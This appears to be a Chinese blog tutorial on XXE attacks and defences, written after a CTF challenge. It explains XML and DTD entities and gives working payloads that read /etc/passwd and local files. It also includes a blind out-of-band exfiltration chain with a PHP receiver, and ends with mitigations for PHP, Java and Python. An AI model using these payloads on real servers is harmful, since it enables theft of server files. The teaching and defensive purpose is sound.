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浅谈XXE漏洞攻击与防御

发表于 2017-06-20   |   分类于 web安全  |   热度 3189 ℃

你会挽着我的衣袖，我会把手揣进裤兜

　　之前在参加一场CTF竞赛中遇到了xxe漏洞，由于当时并没有研究过此漏洞，解题毫无头绪。为了弥补web安全防御知识以及减少漏洞利用短板，我翻阅了一些关于xxe漏洞的资料，学习后在此总结分享。

XML基础

在介绍xxe漏洞前，先学习温顾一下XML的基础知识。XML被设计为传输和存储数据，其焦点是数据的内容，其把数据从HTML分离，是独立于软件和硬件的信息传输工具。

XML文档结构

XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。

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<!--XML申明-->
<?xml version="1.0"?>
 
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
 
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

由于xxe漏洞与DTD文档相关，因此重点介绍DTD的概念。

DTD

文档类型定义（DTD）可定义合法的XML文档构建模块，它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于XML文档中（内部引用），也可作为一个外部引用。
内部声明DTD:

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<!DOCTYPE 根元素 [元素声明]>

引用外部DTD:

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<!DOCTYPE 根元素 SYSTEM "文件名">

DTD文档中有很多重要的关键字如下：

  • DOCTYPE（DTD的声明）
  • ENTITY（实体的声明）
  • SYSTEM、PUBLIC（外部资源申请）

实体

实体可以理解为变量，其必须在DTD中定义申明，可以在文档中的其他位置引用该变量的值。
实体按类型主要分为以下四种：

  • 内置实体 (Built-in entities)
  • 字符实体 (Character entities)
  • 通用实体 (General entities)
  • 参数实体 (Parameter entities)

实体根据引用方式，还可分为内部实体与外部实体，看看这些实体的申明方式。
完整的实体类别可参考 DTD - Entities

实体类别介绍

参数实体用%实体名称申明，引用时也用%实体名称;其余实体直接用实体名称申明，引用时用&实体名称。
参数实体只能在DTD中申明，DTD中引用；其余实体只能在DTD中申明，可在xml文档中引用。

内部实体：

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<!ENTITY 实体名称 "实体的值">

外部实体:

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<!ENTITY 实体名称 SYSTEM "URI">

参数实体：

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<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

实例演示：除参数实体外实体+内部实体

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<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY name "nMask">]>
<foo>
<value>&name;</value>
</foo>

实例演示：参数实体+外部实体

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<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>

注意：%name（参数实体）是在DTD中被引用的，而&name（其余实体）是在xml文档中被引用的。

由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞，那么重点看下能引用哪些类型的外部实体。

外部实体

外部实体即在DTD中使用

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<!ENTITY 实体名称 SYSTEM "URI">

语法引用外部的实体，而非内部实体，那么URL中能写哪些类型的外部实体呢？
主要的有file、http、https、ftp等等，当然不同的程序支持的不一样：

实例演示：

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<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY content SYSTEM "file:///etc/passwd">]>
<foo>
<value>&content;</value>
</foo>

XXE漏洞

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置，没有对上传的xml文件进行过滤，导致可上传恶意xml文件。

xxe漏洞检测

第一步检测XML是否会被成功解析：

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<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name "my name is nMask">]>
<root>&name;</root>

如果页面输出了my name is nMask，说明xml文件可以被解析。

第二步检测服务器是否支持DTD引用外部实体：

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<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY % name SYSTEM "http://localhost/index.html">
%name;
]>

可通过查看自己服务器上的日志来判断，看目标服务器是否向你的服务器发了一条请求test.xml的请求。

如果支持引用外部实体，那么很有可能是存在xxe漏洞的。

xxe漏洞利用

xxe漏洞的危害有很多，比如可以文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等，这里就读取任意文件的利用方式进行测试。

读取任意文件

由于我是在windows上做的测试，因此让其读取c盘下的test.txt文件内容。

如果是linux下，可以读取/etc/passwd等目录下敏感数据。

以上任意文件读取能够成功，除了DTD可有引用外部实体外，还取决于有输出信息，即有回显。那么如果程序没有回显的情况下，该怎么读取文件内容呢？需要使用blind xxe漏洞去利用。

blind xxe漏洞

对于传统的XXE来说，要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件，如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。

创建test.php写入以下内容：

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<?php
file_put_contents("test.txt", $_GET['file']) ;
?>

创建index.php写入以下内容：

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<?php
$xml=<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/test.txt">
<!ENTITY % remote SYSTEM "http://localhost/test.xml">
%remote;
%all;
%send;
]>
EOF;
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
?>

创建test.xml并写入以下内容：

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[html] view plain copy
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/test.php?file=%file;'>">

当访问http://localhost/index.php, 存在漏洞的服务器会读出text.txt内容，发送给攻击者服务器上的test.php，然后把读取的数据保存到本地的test.txt中。

注：xxe的利用姿势以及绕过防御姿势有很多，这里不再一一介绍啦

xxe漏洞修复与防御

使用开发语言提供的禁用外部实体的方法

PHP：

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libxml_disable_entity_loader(true);

JAVA:

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DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python：

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from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤用户提交的XML数据

过滤关键词：<!DOCTYPE和<!ENTITY，或者SYSTEM和PUBLIC。

参考文档

https://security.tencent.com/index.php/blog/msg/69
http://blog.csdn.net/u011721501/article/details/43775691
https://b1ngz.github.io/XXE-learning-note/
http://bobao.360.cn/learning/detail/3841.html

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